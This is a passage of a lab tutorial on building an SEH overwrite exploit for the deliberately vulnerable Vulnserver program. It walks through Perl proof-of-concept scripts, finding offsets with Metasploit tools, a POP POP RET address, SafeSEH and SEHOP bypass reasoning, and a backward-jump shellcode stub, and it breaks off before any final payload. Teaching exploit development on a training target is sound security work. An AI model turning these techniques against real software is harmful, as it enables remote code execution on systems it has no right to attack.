SEH based overflow exploit tutorial
This tutorial will cover the process of writing an SEH based buffer overflow exploit for a known vulnerability in the Vulnserver application.
Vulnserver is a Windows server application that deliberately includes a number of exploitable buffer overflow vulnerabilities, and was designed to act as a target application to teach and practice basic fuzzing, debugging and exploitation skills. More information on Vulnserver, including a download link
This tutorial covers how to confirm that a SEH stack based overflow vulnerability is exploitable, as well as how to actually develop the exploit. The process of initially discovering vulnerabilities however is not covered in this tutorial. To learn one method by which such vulnerabilities can actually be discovered, you can check out a previous Vulnserver related article on fuzzing, available here:
This tutorial will also assume that the reader has a reasonable level of skill in using the OllyDbg or Immunity Debugger debugging applications, as well as a basic knowledge of X86 assembly language. For those who are new to these debuggers, or who may feel they need a refresher in assembly, the required skills are covered in the following links:
Lastly, you will require a basic knowledge of how stack based buffer overflows are exploited. This is covered under the following links:
System requirements and setup
The following software is required to follow along with this tutorial:
- A 32 bit Windows System. I would suggest sticking to reasonably recent windows desktop systems such as Windows XP SP2 and up, Windows Vista or Windows 7, as these are the systems that I have personally tested. Windows 2000 desktop and server based systems may also work, but there are no guarantees.
- Vulnserver on your Windows system. You can obtain information about the program (which should be read before use) and download it from here: http://grey-corner.blogspot.com/2010/12/introducing-vulnserver.html
- OlldyDbg 1.10 on your Windows system. You can also use Immunity Debugger if you prefer, but just keep in mind your screenshots will appear slightly different to mine, and certain steps in this tutorial regarding OllyDbg plugins may not be able to be performed. OllyDbg can be obtained here: http://www.ollydbg.de/
- An installation of the OllySSEH OllyDbg plugin installed within OllyDbg on your Windows system is preferred, but not essential. For those who do not have this plugin installed (perhaps because they are using Immunity Debugger) an alternate method of performing the tasks enabled by this plugin is provided. The plugin can be obtained from here: http://www.openrce.org/downloads/details/244/OllySSEH
- An instance of the Perl script interpreter. You can run this on either your Windows machine or on a Linux attacking system. Linux systems should already have Perl preinstalled, but if you want to run it on windows you can obtain a Perl install for free from here: http://www.activestate.com/activeperl
- A recently updated copy of Metasploit 3. You can again run this on either your Windows machine or on a Linux attacking system, although I recommend running it on a Linux system. See the following paragraphs for more detail. If you run BackTrack 4 R2 for an attacking system, Metasploit is included. Otherwise Metasploit can be obtained for Windows and Linux from here: http://www.metasploit.com/
My personal setup while writing this tutorial was to execute Metasploit commands and run my exploit Perl scripts from a Linux Host system running Ubuntu, with Vulnserver running in a Windows XP SP2 Virtual Machine. This means that command syntax provided in this document will be for Linux systems, so if you are following along on Windows you will have to modify your commands as appropriate. I have chosen to run Metasploit and Perl from Linux because components of the Metasploit framework can be broken by many of the common Anti Virus solutions commonly installed on Windows systems.
If your Windows system is running a firewall or HIPS (Host Intrusion Prevention System), you may need to allow the appropriate traffic and disable certain protection features in order to follow this tutorial. We will be creating an exploit that makes Vulnserver listen for shell sessions on a newly bound TCP port, and firewalls and possibly HIPS software may prevent this from working. Certain HIPS software may also implement ASLR, which could also be problematic. Discussing firewall and HIPS bypass techniques is a little beyond the scope of this tutorial, so configure these appropriately so they don’t get in the way.
I am also assuming for the purposes of this tutorial that your Windows system will not have hardware DEP enabled for all programs. The default setting for Windows XP, Windows Vista and Windows 7 is to enable hardware DEP for essential Windows programs and services only, so unless you have specifically changed your DEP settings your system should already be configured appropriately. See the following links for more information:
Your Windows system should also not have SEHOP enabled. This functionality is only available on Windows Vista Service Pack 1, Windows 7 and Windows Server 2008, and is only enabled by default on Windows Server 2008. See below for instructions on how to disable this
My Windows Vulnserver system will be listening on the address 192.168.56.101 TCP port 9999, so this is the target address that I will use when running my Perl scripts. Make sure you replace this with the appropriate values if your Vulnserver instance is running elsewhere.
A note about using different Windows Operating Systems versions: Be aware that if you are using a different version of Windows to run Vulnserver than the Windows XP Service Pack 2 system I am using, some of the values you will need to use when sizing the buffers in your exploits may differ from mine. Just ensure that you are following the process I use in determining buffer sizes, rather than copying the exact values I use, and you should be fine. I have indicated in the tutorial the areas in which you need to be concerned about this.
Overview of the process
We will be using the following high level exploitation process in order to take control of this program:
- Get control of the EIP register which controls which code is executed by the CPU, setting it to a value of our choosing,
- Identify some code that will fulfil our goals for the exploit, and either find it on the target system or insert it into the program ourselves using the exploit, and
- Redirect EIP towards our chosen code.
As in the previous article in this series on exploiting buffer overflows (see the links in the Introduction), this list of requirements acts as both the steps required to actually write the exploit, as well as determining if the vulnerability is exploitable. We will assess the given vulnerability to determine if these particular steps are possible, and once this is confirmed we will know that exploitation is possible and be well on our way to producing a working exploit.
As mentioned during the Introduction, you should already be somewhat familiar with the general way in which buffer overflow exploits are written before you attempt this tutorial. When compared to simple stack based buffer overflows, SEH based exploits require a few new twists to the exploit development process. These new twists will be the main focus of this tutorial, and the more basic exploit development skills will be assumed knowledge. These basic exploit development skills are covered in the previous entry in this series.
Assessing the vulnerability
The vulnerability we will be attempting to exploit is a stack based buffer overflow in the parameter of the GMON command of Vulnserver. We can trigger an exception in the program by sending a GMON command with a parameter consisting of a very long (~4000 characters or more) string including at least one forward slash (/) character. To demonstrate this, we can use the following script, which will send “GMON .” followed by 4000 “A” characters to a specified IP address and port provided as command line parameters.
As we progress through the exploit development process, we will slowly modify this basic POC script into a full blown exploit. Save the following as gmon-exploit-vs.pl.
#!/usr/bin/perl use IO::Socket; if ($ARGV[1] eq '') { die("Usage: $0 IP_ADDRESS PORTnn"); } $baddata = "GMON /"; # sets variable $baddata to "GMON /" $baddata .= "A" x 4000; # appends (.=) 4000 "A" characters to $baddata $socket = IO::Socket::INET->new( # setup TCP socket – $socket Proto => "tcp", PeerAddr => "$ARGV[0]", # command line variable 1 – IP Address PeerPort => "$ARGV[1]" # command line variable 2 – TCP port ) or die "Cannot connect to $ARGV[0]:$ARGV[1]"; $socket->recv($sd, 1024); # Receive 1024 bytes data from $socket, store in $sd print "$sd"; # print $sd variable $socket->send($baddata); # send $baddata variable via $socket
Now Open vulnerver.exe in OllyDbg and hit F9 to let it run. Then, execute the script as follows to generate the exception within the debugger.
stephen@lion:~/Vulnserver$ perl gmon-exploit-vs.pl 192.168.56.101 9999 Welcome to Vulnerable Server! Enter HELP for help.
You should be greeted with the following in the debugger – an Access violation error will be shown at the bottom of the screen, and execution of the program will be paused within the debugger.
If you are familiar with the more basic style of stack based buffer overflows, as discussed in the previous tutorial, the first thing you may notice here is that the EIP register does not point to an address made up of bytes taken from within the data we sent. If this was the case, we would expect to see the EIP register containing the hex equivalent of the ASCII character “A”, which is x41. What will happen if we allow the debugger to handle this error though?
Press Shift and F7, F8 or F9, the key sequence used to pass exceptions through to the debugged program, and see what happens. The debugger should then display something similar to the following screenshot.
This is more like it. We now have an EIP register that points to 41414141 which is the hex representation of those “A” characters we sent to the program, and an access violation when executing code at that address. This is very similar to what we would see when reproducing a stack overflow that has overwritten a return address stored on the stack. Why did we only gain control of EIP only after we allowed the program to handle the first exception though? To understand this, we need to discuss the Structured Exception Handling functionality in the Windows Operating System.
Structured exception handling
Structured Exception Handling is a method that the Windows Operating System uses to allow its programs to handle serious program errors resulting from either software or hardware problems. Basically, what it provides is a way of specifying addresses of exception handling routines that a program can pass control to after an exception has occurred.
Some relevant technical minutia about the Structured Exception Handler:
- It allows multiple exception handlers to be specified per thread for a running process, with the Operating System adding one entry by default.
- The entries are stored in a linked list called the SEH chain on the threads stack, with the address of the first SEH entry pointed to from the thread information block at offset 0.
- Each entry is comprised of two 32 bit values, containing the address of the next entry, and the address of the exception handler. The last entry in the chain specifies a “next entry” value of FFFFFFFF
When a program experiences an exception, the Windows exception handling routines are called, and as part of this process the Operating System will attempt to pass control of the programs execution to code located at the addresses specified in the SEH list, starting at the first entry and moving through the list until control is successfully passed.
The addresses specified in a SEH list usually point to routines that perform actions such as displaying a dialog box that tells the end user that the program has experienced an exception, and terminating the application. If you’re interested, you can read more about Windows Exception Handling at the following links:
Why is Structured Exception Handling interesting to us as exploit writers? Well, given that the SEH entries are stored on the stack, in the case of a program having a stack overflow vulnerability we sometimes have an opportunity to overwrite the programs SEH entries with pointers to our own code to allow us to take control of programs execution. Is this what is happening in the case of this vulnerability we are examining in Vulnserver? Let’s check it out to see.
First, restart Vulnserver in the debugger (Use the Debug menu, Restart option, followed by hitting the F9 key to start the program running in the debugger.) Now, let’s examine the SEH Chain before running the exploit, to see what it normally looks like (Use the View menu, SEH Chain option.) You should see something like the following, showing the SEH chain of the main thread of Vulnserver, which is showing registered exception handlers within the mswsock and kernel32 modules.
Close the SEH Chain window now, and lets run our skeleton exploit and see what happens.
stephen@lion:~/Vulnserver$ perl gmon-exploit-vs.pl 192.168.56.101 9999 Welcome to Vulnerable Server! Enter HELP for help.
The exception will be triggered. Now check the SEH Chain again. You should notice that instead of showing any of the previous exception handlers, we now have an entry of 41414141 – made up of the characters we sent to the application to cause the exception.
We can also see the same thing by scrolling down to the bottom of our stack pane and looking at the SEH entry there. You can see in the screenshot below that the SEH entry on the stack sits in the middle of a large block of x41 bytes, showing how it has been overwritten as part of our buffer overflow.
So, now we have control of the SEH entry, which is used as an address to redirect code to after an exception has occurred. This gives us a pathway towards control of the EIP register, which is one of the needed requirements in order to develop an exploit. It’s not quite as simple as just placing any old address in the spot of the SEH exception handler however. There are a number of exploit prevention mitigations added to the SEH handler by Microsoft that we need to work around first. So, before we can effectively exploit an SEH overwrite vulnerability, we need to learn something about these exploit mitigation techniques.
SEH Exploit Mitigation Techniques
Over time, there are a few changes that have been made to Structured Exception Handling by Microsoft in order to try and prevent exploitation of SEH overwrites, as follows:
- Zeroing of CPU registers
- SEHOP
- SafeSEH and NO_SEH
Of these methods, only two require any real effort in working around, and one of those is most likely to be disabled or not available on the Operating System you are testing on. I will briefly discuss how each of these protection methods works, and will then provide detail on how the most relevant mitigation strategies can be bypassed.
The Zeroing of CPU registers was added to the Structured Exception Handler in Windows XP Service Pack 1, and essentially sets all the CPU registers that will not be otherwise overwritten and used by the SEH handler itself to values of all zeros when the handler is called. The goal of this change was to try and deny an exploit writer from using these registers as a pointer to an area of code which he controlled. You may recall that in the previous buffer overflow tutorial we used the value stored in the ESP register and a JMP ESP instruction to jump to the location of our own code in memory? By zeroing or overwriting all register values when the Structured Exception Handler is called, an exploit writer can no longer use these register values to redirect code execution in this manner. Fortunately, there are other means by which we can redirect execution to our code that we will discuss in this tutorial, so this feature does not really act as a significant impediment to our exploitation goals.
SEHOP attempts to mitigate SEH overwrite attacks by checking to see that the SEH chain appears intact before redirecting execution to any of the specified exception handler addresses. I mentioned before that the SEH chain is essentially a linked list of addresses – this means that each entry in the chain contains the address of the next SEH entry immediately before the exception handler address. If you examine the screenshot below which shows the SEH entry overwritten on the stack, you will note that the stack entry highlighted in red sitting immediately before the SE handler address is described as a “Pointer to next SEH record” and that as part of overwriting the SE handler address we have also overwritten this pointer. If SEHOP was enforced, this would not be considered a valid SEH Chain, and the Exception Handler would not pass control to any of the entries with this list in this state.
To bypass SEHOP, you need to ensure that the SEH chain appears to be complete. SEHOP considers a complete SEH chain as one that starts from the entry specified in the thread information block, with that entry correctly chaining through an unspecified number of other entries to the final entry in the chain. The final entry in a SEHOP validated chain will have FFFFFFFF as the “next entry” address, and ntdll!FinalExceptionHandler as the handler address.
Luckily for us however, SEHOP is only supported on Windows Vista Service Pack1 and above, and is only enabled by default in Windows Server 2008. This tutorial will not provide a detailed explanation of how to bypass SEHOP, so if you happen to be running Vulnserver on Windows Server 2008 you can disable SEHOP for the purposes of this tutorial via the method described at the link below:
http://support.microsoft.com/kb/956607
If you want to learn some more about SEHOP, including some bypass methods, you can check out these links:
- Preventing the exploitation of seh overwrites with sehop
- http://packetstormsecurity.org/papers/general/sehop_en.pdf
- SEH all at once attack
The final SEH mitigation method we will look at, and the one we will bypass in this tutorial, is SafeSEH and NO_SEH. Essentially, SafeSEH is a linker option, applied when compiling an executable file, which specifies a particular list of addresses from that module that can be used as Structured Exception Handlers. Those specified addresses, as you may expect, will usually contain actual exception handling code. A related option is NO_SEH. If a module has the IMAGE_DLLCHARACTERISTICS_NO_SEH flag set in the IMAGE_OPTIONAL_HEADER structure, then addresses from that module cannot be used as SEH exception handlers. The important thing to realize about SafeSEH and NO_SEH, is that they are used to limit the potential addresses that the Structured Exception Handler will accept as valid handler addresses to be used to redirect code execution.
Our goal with choosing an overwrite address for the exception handler is to get the handler to use that address to set the value of EIP and direct execution towards code of our choosing. To do this we need to overwrite the handler (and hence EIP) with the known address of an instruction in memory that will get us to our chosen code. Many of the modules loaded along with a standard Windows program are likely to provide such known addresses. However, if those modules have been linked with the NO_SEH or SafeSEH options, and we are running the program on a version of Windows that performs the SafeSEH checks, then we probably won’t be able to use addresses from those modules to redirect code execution in an SEH exploit.
SafeSEH was introduced in Windows XP Service Pack 2 and Windows Server 2003, so you will need to deal with bypassing it when writing SEH exploits on any currently supported Microsoft Operating System. The following strategies are available to us when attempting to bypass this feature:
- Use an overwrite address from a module loaded by the target application that was not compiled with the NO_SEH or SafeSEH options.
- Try and make use of the exception handling code specified within a SafeSEH enabled module to fulfil your exploitation goals. In most cases this is unlikely to result in a useful exploit.
- On Windows Server 2003 before Service Pack 1, you can use SEH overwrite addresses from certain Operating System supplied modules such as ATL.dll, because the registered handlers list was not checked by the exception handler. On Windows XP Service Pack 2 and Windows Server Service Pack 1 and later, this method is not available.
- Use an address from the heap that contains either your shellcode or instructions that will allow you to redirect to your shellcode. In order for a reliable exploit to result from this method, you will usually need the ability to influence the contents of large sections of heap memory.
- Use an overwrite address from a predictable spot in memory, marked executable, that sits outside the areas of loaded modules considered in scope for the SEH verification tests.
Some more information on this is available here:
http://replay.web.archive.org/20080608015939/http://www.nabble.com/overwriting-SEH-and-debugging-td14440307.html
Out of all of these bypass methods, the first choice is the simplest, so we will attempt this now.
Finding SEH compatible overwrite addresses
I will demonstrate two methods by which you can find suitable modules from which to obtain SEH overwrite addresses. The first, and easiest method, involves using the OllyDbg plugin OllySSEH to find these modules. The second, slightly more time consuming method, involves analysing modules using the command line msfpescan tool from Metasploit to find one that is suitable.
Let’s try using the OllySSEH plugin. Restart the Vulnserver program in the debugger and let it run, then open the Plugins menu and select the SafeSEH->Scan /SafeSEH Modules option. (Ensure you have installed the OllySSEH module first! This method will not be available to Immunity Debugger users.).
You should see a window like the following pop up.

Those modules in red have been compiled without either the /SafeSEH ON switch or the NO_SEH option. Out of those two modules, the main executable vulnserver.exe is being loaded from the address 400000, meaning that we would need to add a starting zero byte store this address in a 32 bit register. Since a zero byte acts as a string terminator its best to avoid this module if possible. Our other choice is the essfunc.dll file, which starts from the base address 62508000. As long as this module contains the specific instruction we need to redirect execution to our shellcode, we should be able to overwrite the SEH handler entry with the appropriate address from that module. This module appears to be a good choice for finding our overwrite address. This plugin made finding that module quite easy, huh?
If for some reason the OllySSEH plugin doesn’t work for you, you are using Immunity Debugger, or if you just like doing things the hard way, I will also show you an alternate method for finding appropriate modules without the NO_SEH or SafeSEH ON options enabled. This method involves analysing the modules with the msfpescan tool from Metasploit.
Unless you have Metasploit installed on the Windows system on which you are running Vulnserver, this will likely involve transferring the file over to your Metasploit system. Instead of just immediately transferring all loaded modules from your target application and analysing them, you can make intelligent guesses about which modules are most likely to be appropriate and start with them first. Make sure Vulnserver is running in the debugger and hit Alt-E to view the list of Executable modules.
From this list of loaded modules above we can almost always assume that any module supplied with the Operating System or with other recent Microsoft products will be protected by either the NO_SEH or SafeSEH ON options, so we will ignore these. How do you know which modules are OS supplied? Operating System supplied modules generally sit within the Windowssystem32 directory and will often have similar looking file version numbers. You can’t guarantee that every module in system32 is Operating System supplied, but many of them usually will be. After you become familiar with Windows, you will learn to recognize these modules on sight, but you can find out for sure if they come from Microsoft by checking their file Properties and looking at the Company name under the Version tab.
In addition, modules that have a zero byte at the beginning of the base address are also usually best avoided at first, because of the zero byte string termination problem.
Modules that come with the vulnerable application are usually ideal, as they are usually compiled without these SEH exploit protections, and because they normally stay consistent across multiple installs of a particular version of a product. Based on these criteria, essfunc.dll is the ideal module to examine first. Copy this file to your Metasploit system and examine it using msfpescan as follows.
stephen@lion:~/Vulnserver$ msfpescan -i essfunc.dll | grep -E "SEHandler|DllCharacteristics" DllCharacteristics 0x00000000
In the output about we don’t see any entries referring to SEHandler. This means that there are no registered SEH handlers in the module, and hence, the module was not compiled with the SafeSEH On option. In addition, the DllCharacteristics header value shown is all zeros, and this means the module was not compiled with the NO_SEH (the full notation of which is IMAGE_DLLCHARACTERISTICS_NO_SEH) option. If the third byte value from the right was 4, 5, 6, 7, C, E, F then this NO_SEH option would be active in this module.
You can refer to the following link for more information on this:
http://msdn.microsoft.com/en-us/library/ms680339%28v=vs.85%29.aspx
So, the essfunc.dll appears to be a good place to look for an overwrite address for the SEH entry. Which overwrite address should we be looking for though?
Picking an overwrite address
As a reminder, the goal of using an overwrite address is to redirect execution of the CPU to some code that we can use to fulfil out exploitation goal. The simplest way to achieve this is to send our own custom code to the application, preferably within the same block of data that causes the overflow, and then somehow redirect to that. So, is there some obvious way we can see to redirect code execution back to within the data used to cause the overflow? Let’s have a look in the debugger at the time of the SEH handling attempt, and see the state of execution within our program.
Restart Vulnserver in the debugger, let it run, and trigger the exploit:
stephen@lion:~/Vulnserver$ perl gmon-exploit-vs.pl 192.168.56.101 9999 Welcome to Vulnerable Server! Enter HELP for help.
Once the first exception is triggered, hit Shift + F7/F8/F9 to pass the exception to the program and to allow the Structured Exception Handler to attempt to handle the exception.
At this point, you should notice that none of the CPU registers point to anywhere near our buffer, due to the zeroing performed by the Exception Handler routines in Windows. So use of the registers to redirect code execution is out. If we check the stack however, we will see that the third entry down from our current position points to a long string of “A” characters. This is likely to be within the data we sent to overflow the buffer! See the screenshot of the stack pane below.
To see exactly where this is within our data, right click on the third stack entry and select View in Stack from the menu. This will show the data stored on the stack at the memory address stored at this particular stack entry.
Just in case you’re confused about that last part, essentially, that third stack entry contains a value, in my case, of 00B6FFDC. You can see this value in the second column from the left in the screenshot above. We are going to see what data is stored at the memory address represented by that value, and by using the View in Stack option we are using the stack pane to actually view this data.
After selecting this option the stack pane should now show something very similar to the following.
If you check the descriptive text next to the stack entry we are now viewing, you will note that it indicates that this particular entry contains the pointer to the next SEH record, and it’s immediately before the entry on the stack that contains the same SE handler address that we just used to redirect execution of the CPU to the non-existent address of 41414141.
If we can find a way to redirect code execution to the address specified by this third entry on the stack, we will land within the block of data sent to cause this overflow. As it turns out, this is quite simple to do – all we need is to POP the top two entries from the stack, and RETN on the third entry. So we need to look for a POP, POP, RET sequence within our chosen module essfunc.dll.
Switch to the essfunc.dll module in the disassembler pane via double clicking on it from the Executable Modules list (Alt-E), and then right click in the disassembler pane and select Search for->Sequence of commands. Enter the command sequence shown in the following screenshot and hit Find.
The first such instance of this command sequence appearing within the module will then be shown in the disassembler pane, as shown in the screenshot below.
Looking at the address of the first instruction (625010B4 in this case) I can see that it does not contain any of the most common potentially bad characters, namely 00, 0A and 0D, so this will be a good choice for our first attempted overwrite address. At this point we will not know for sure if the address contains any other less common bad characters, this is something we often have to discover via trial and error. By confirming that the most common bad characters are not present though, we are off to a good start.
Finding the overwrite offset
The next thing we need to do is find exactly where within the data we send to the application the exception handler entry is overwritten. We will turn to the pattern_create tool from Metasploit to discover this.
stephen@lion:~/Vulnserver$ /opt/metasploit3/msf3/tools/pattern_create.rb 4000 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2A [SNIP] Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2F
Modify your skeleton exploit as shown below in order to send this data. New or modified lines are coloured red.
Note: I have omitted some of the data from the above and below outputs for readabilities sake. Please make sure your skeleton exploit contains the full output from the pattern_create tool.
#!/usr/bin/perl use IO::Socket; if ($ARGV[1] eq '') { die("Usage: $0 IP_ADDRESS PORTnn"); } $baddata = "GMON /"; # sets variable $baddata to "GMON /" $baddata .= "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8 [SNIP] Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2F"; $socket = IO::Socket::INET->new( # setup TCP socket – $socket Proto => "tcp", PeerAddr => "$ARGV[0]", # command line variable 1 – IP Address PeerPort => "$ARGV[1]" # command line variable 2 – TCP port ) or die "Cannot connect to $ARGV[0]:$ARGV[1]"; $socket->recv($sd, 1024); # Receive 1024 bytes data from $socket, store in $sd print "$sd"; # print $sd variable $socket->send($baddata); # send $baddata variable via $socket
Restart Vulnserver in the debugger, let it run and trigger your exploit against it.
stephen@lion:~/Vulnserver$ perl gmon-exploit-vs.pl 192.168.56.101 9999 Welcome to Vulnerable Server! Enter HELP for help.
Once the first exception is hit, press Shift F7/F8/F9 to allow the Exception Handler to take over. Take note of the value now shown in the EIP register. For me this value is 6D45376D – see the screenshot below.
This value may be different for you, especially if you are using an Operating System different than Windows XP Service Pack 2 to follow this tutorial. As noted in the Introduction, if you have a different value in your EIP register, please make sure at this point that you pay attention to the process I use to obtain these results rather than just directly copying the values I use.
Take the value you obtained from the EIP register and feed it into the pattern_offset tool as shown below.
stephen@lion:~/Vulnserver$ /opt/metasploit3/msf3/tools/pattern_offset.rb 6d45376d 3502
This is telling me that the SE handler entry is overwritten at a point 3502 characters into the data I send after the “GMON /” string. I am going to subtract 4 from this to give 3498, then I am going to modify my skeleton exploit as shown below, to try and overwrite the 4 bytes before the SE handler entry with “B”, the handler address with 4 “C” characters and the space after this with “D” characters. The intention of this is just to ensure that I am structuring my data correctly before I actually enter the appropriate exploit data, and using ASCII characters for this purpose makes it less likely that I will run into any bad character issues at this stage. You might be wondering why I care about the four bytes before the overwrite address at this point – don’t worry, that will become clear fairly soon.
Modify your skeleton exploit as shown below, making sure you substitute your own value for the size of the “A” buffer if you had different results from me in the previous step. As before, new or modified lines are coloured red.
#!/usr/bin/perl use IO::Socket; if ($ARGV[1] eq '') { die("Usage: $0 IP_ADDRESS PORTnn"); } $baddata = "GMON /"; # sets variable $baddata to "GMON /" $baddata .= "A" x 3498; # appends (.=) 3498 "A" characters to $baddata $baddata .= "B" x 4; # pointer to next SEH entry $baddata .= "C" x 4; # SEH overwrite $baddata .= "D" x (4000 - length($baddata)); # data after SEH handler $socket = IO::Socket::INET->new( # setup TCP socket – $socket Proto => "tcp", PeerAddr => "$ARGV[0]", # command line variable 1 – IP Address PeerPort => "$ARGV[1]" # command line variable 2 – TCP port ) or die "Cannot connect to $ARGV[0]:$ARGV[1]"; $socket->recv($sd, 1024); # Receive 1024 bytes data from $socket, store in $sd print "$sd"; # print $sd variable $socket->send($baddata); # send $baddata variable via $socket
Restart Vulnserver in the debugger, and run the new exploit.
stephen@lion:~/Vulnserver$ perl gmon-exploit-vs.pl 192.168.56.101 9999 Welcome to Vulnerable Server! Enter HELP for help.
Pass control of the first exception to the program, and then scroll down to the very bottom of the stack to see the SE handler entry there. If you have set the appropriate amount of “A” characters to send to the application, you should now see something similar to the below, with x41 bytes before the Pointer to the next SEH record, x42 bytes in the Pointer entry, x43 bytes in the SE handler entry, and x44 bytes thereafter.
Now we know that we have the structure of our exploit correct, we can make our first attempt to gain control of code execution via the exception handling process.
Gaining control of code execution
Let’s take the POP, POP, RET address we found earlier, and insert it into our skeleton exploit to confirm that we can take control of code execution. We will also modify the four bytes before the overwrite address to include xCC INT3 breakpoints – this will allow execution to automatically pause in the debugger once it is redirected to this location. Modify your exploit as below, with the changes shown in red.
#!/usr/bin/perl use IO::Socket; if ($ARGV[1] eq '') { die("Usage: $0 IP_ADDRESS PORTnn"); } $baddata = "GMON /"; # sets variable $baddata to "GMON /" $baddata .= "A" x 3498; # appends (.=) 3498 "A" characters to $baddata $baddata .= "xCC" x 4; # pointer to next SEH handler $baddata .= pack('V', 0x625010B4); # SEH overwrite, essfunc.dll, POP EBX, POP EBP, RET $baddata .= "xcc" x (4000 - length($baddata)); # data after SEH handler $socket = IO::Socket::INET->new( # setup TCP socket – $socket Proto => "tcp", PeerAddr => "$ARGV[0]", # command line variable 1 – IP Address PeerPort => "$ARGV[1]" # command line variable 2 – TCP port ) or die "Cannot connect to $ARGV[0]:$ARGV[1]"; $socket->recv($sd, 1024); # Receive 1024 bytes data from $socket, store in $sd print "$sd"; # print $sd variable $socket->send($baddata); # send $baddata variable via $socket
Restart Vulnserver in the debugger, start it running, and run the exploit code:
stephen@lion:~/Vulnserver$ perl gmon-exploit-vs.pl 192.168.56.101 9999 Welcome to Vulnerable Server! Enter HELP for help.
Allow the program to handle the first exception using the exception handler.
In the disassembler pane, you should now see that we have executed the first of the four xCC INT3 breakpoint instructions that we inserted before the overwrite address, and execution is paused at the second. See the screenshot below.
If you scroll down to the bottom of the stack pane, you should also see the area of memory where we are executing instructions from. We are running the instructions represented by the xCC bytes immediately before the overwritten SEH entry.
We have now successfully gained control of code execution, but we only have four bytes in this particular location to work with. We can’t use the following four bytes for arbitrary code; because they are used to store the SEH overwrite location. Perhaps you saw this problem coming a little earlier in this tutorial?
To work around this little problem, we can jump code execution forward to the address after the overwritten SEH entry, and then, because we still don’t have enough space for full shellcode, we can jump backwards again to a spot near the start of the long sequence of “A” characters, at the start of the data we are sending. We can then replace the data in this section with our shellcode.
The following skeleton exploit has been modified to replace the long section of “A” characters with xCC INT3 breakpoints, and will allow us to jump from our four byte island just before the overwritten SEH entry, to the space following this entry, and then back into the large section of xCC breakpoints we have just used to replace the “A” characters.
#!/usr/bin/perl use IO::Socket; if ($ARGV[1] eq '') { die("Usage: $0 IP_ADDRESS PORTnn"); } $baddata = "GMON /"; # sets variable $baddata to "GMON /" $baddata .= "xCC" x 3498; # appends (.=) 3498 "CC" characters to $baddata $baddata .= "xEBx0Fx90x90"; # JMP 0F, NOP, NOP $baddata .= pack('V', 0x625010B4); # SEH overwrite, essfunc.dll, POP EBX, POP EBP, RET $baddata .= "x59xFExCDxFExCDxFExCDxFFxE1xE8xF2xFFxFFxFF"; $baddata .= "x90" x (4000 - length($baddata)); # data after SEH handler $socket = IO::Socket::INET->new( # setup TCP socket – $socket Proto => "tcp", PeerAddr => "$ARGV[0]", # command line variable 1 – IP Address PeerPort => "$ARGV[1]" # command line variable 2 – TCP port ) or die "Cannot connect to $ARGV[0]:$ARGV[1]"; $socket->recv($sd, 1024); # Receive 1024 bytes data from $socket, store in $sd print "$sd"; # print $sd variable $socket->send($baddata); # send $baddata variable via $socket
The following section of shellcode that I have placed immediately after the SEH overwrite address (from the final modified line in red above) may require some explanation.
"x59xFExCDxFExCDxFExCDxFFxE1xE8xF2xFFxFFxFF"
The assembly equivalent of this shellcode, (which I originally modified from an older Securityforest article which is no longer online) is as follows:
x59 POP ECX xFExCD DEC CH xFExCD DEC CH xFExCD DEC CH xFFxE1 JMP ECX xE8xF2xFFxFFxFF CALL [relative -0D]
The first thing that you should know about this section of code is that its designed to start execution from the final CALL statement, so for it to work properly we need to make sure that code referring to it jumps over the first five instructions when it is executed. In this exploit, I have achieved this by using the JMP 0F instruction which sits in the four bytes immediately before the overwritten SE handler address to JMP over both the handler address and the first five instructions of this shellcode above, to finally land on the CALL instruction. In the exploit code above, this JMP instruction sits within the second modified line in red.
When executed, the CALL instruction will place the address of the following instruction in memory onto the stack, and will then redirect execution to the POP ECX instruction at the start of the shellcode. Placing the address of the following instruction onto the stack is standard operation for the CALL instruction, so execution can continue from this point using a RETN once the CALLed function is complete.
The POP ECX instruction will POP the contents of the top entry of the stack, which contains the address just placed there by the previous CALL statement, into the ECX register. We then decrement the CH register by 1 three times. The CH register is actually a subregister of ECX affecting the second least significant byte of ECX. In essence, subtracting 1 from CH actually subtracts 256 from ECX register, and done three times this makes for a total of 768 subtracted from ECX. We then JMP to the address stored within the ECX register.
Essentially, this shellcode provides us with a way of doing a large relative jump backwards from our current location, and in this case the result is that we land within the block of INT3 breakpoints near the start of the data we sent to the application.
To give you a better feel for how this works, let’s actually step through the operation of this code in the debugger, so you can see what is occurring.
Restart Vulnserver in the debugger, start it running, and run the exploit code:
stephen@lion:~/Vulnserver$ perl gmon-exploit-vs.pl 192.168.56.101 9999 Welcome to Vulnerable Server! Enter HELP for help.
Before you allow the program to attempt to handle the first exception by hitting Shift F7/F8/F9, which will trigger the exception handler, use the View menu, SEH chain option to bring up the SEH chain window, and use the F2 key to set a breakpoint on our overwritten SEH handler.
